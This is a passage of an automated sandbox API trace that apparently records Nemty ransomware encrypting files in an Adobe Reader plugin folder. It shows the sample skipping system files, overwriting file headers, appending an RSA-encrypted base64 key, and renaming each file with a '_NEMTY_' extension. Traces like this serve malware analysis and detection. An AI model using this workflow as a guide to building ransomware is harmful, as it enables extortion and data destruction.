lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.049] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=269200) returned 1 [0193.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.049] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.049] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.062] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.062] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.062] SetFilePointer (in: hFile=0x254, lDistanceToMove=269200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41b90 [0193.062] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.064] CloseHandle (hObject=0x254) returned 1 [0193.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.064] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d._nemty_kgobjgd_")) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.065] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2=".") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="..") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="...") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="windows") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="rsa") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="NTDETECT.COM") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="ntldr") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="MSDOS.SYS") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="IO.SYS") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="boot.ini") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="boot.ini") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="ntuser.dat") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="desktop.ini") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="CONFIG.SYS") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="RECYCLER") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="BOOTSECT.BAK") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="bootmgr") returned 1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="programdata") returned -1 [0193.065] lstrcmpiW (lpString1="drvDX8.x3d", lpString2="appdata") returned 1 [0193.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX8.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX8.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX8.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX8.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.066] Sleep (dwMilliseconds=0x5) [0193.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26bb1f10, dwHighDateTime=0x1d561e8)) [0193.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26bb1f10, dwHighDateTime=0x1d561e8)) [0193.079] GetLastError () returned 0x0 [0193.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.079] GetLastError () returned 0x0 [0193.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.080] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="e0v6idnmr8ND9AlI9Xh9psmpq7Jpv4U+gc+9OWlZa/L25tvRZWUl1FkZee4OZdEU\r\nqAwk7kIMBcqzpWglRsxikpXWn6hu5m+geQIwqlEXt1+UU+k7WfKVMq+oPtY3VeAE\r\nDGBqkwNO/VvjtfWcS53MenwpOfZq6v4aq238/QrkUdGi+X3+O8tiquhOsn02r+qf\r\nkbY10TBgv8217KJu8158d5oULVMDq/8BHl+H9PIZL7aoAg9q7syZ8DMiuLgJw5aT\r\n+l+cCHB66255VOTrSVYmORwklDNLz/9Kyacrsp27qCCsKTmIZ3NMFLGI+nC1df8o\r\nI/IE+xHzKestzdnznzISAA==\r\n", pcchString=0x653e91c) returned 1 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.080] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=435600) returned 1 [0193.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.080] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.080] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.090] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.090] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.090] SetFilePointer (in: hFile=0x254, lDistanceToMove=435600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a590 [0193.090] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.091] CloseHandle (hObject=0x254) returned 1 [0193.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.092] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d._nemty_kgobjgd_")) returned 1 [0193.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.093] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2=".") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="..") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="...") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="windows") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="rsa") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="NTDETECT.COM") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="ntldr") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="MSDOS.SYS") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="IO.SYS") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="boot.ini") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="boot.ini") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="ntuser.dat") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="desktop.ini") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="CONFIG.SYS") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="RECYCLER") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="BOOTSECT.BAK") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="bootmgr") returned 1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="programdata") returned -1 [0193.093] lstrcmpiW (lpString1="drvDX9.x3d", lpString2="appdata") returned 1 [0193.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX9.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX9.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX9.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX9.x3d", lpUsedDefaultChar=0x0) returned 10 [0193.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.094] Sleep (dwMilliseconds=0x5) [0193.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26bd8070, dwHighDateTime=0x1d561e8)) [0193.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26bd8070, dwHighDateTime=0x1d561e8)) [0193.094] GetLastError () returned 0x0 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.095] GetLastError () returned 0x0 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: 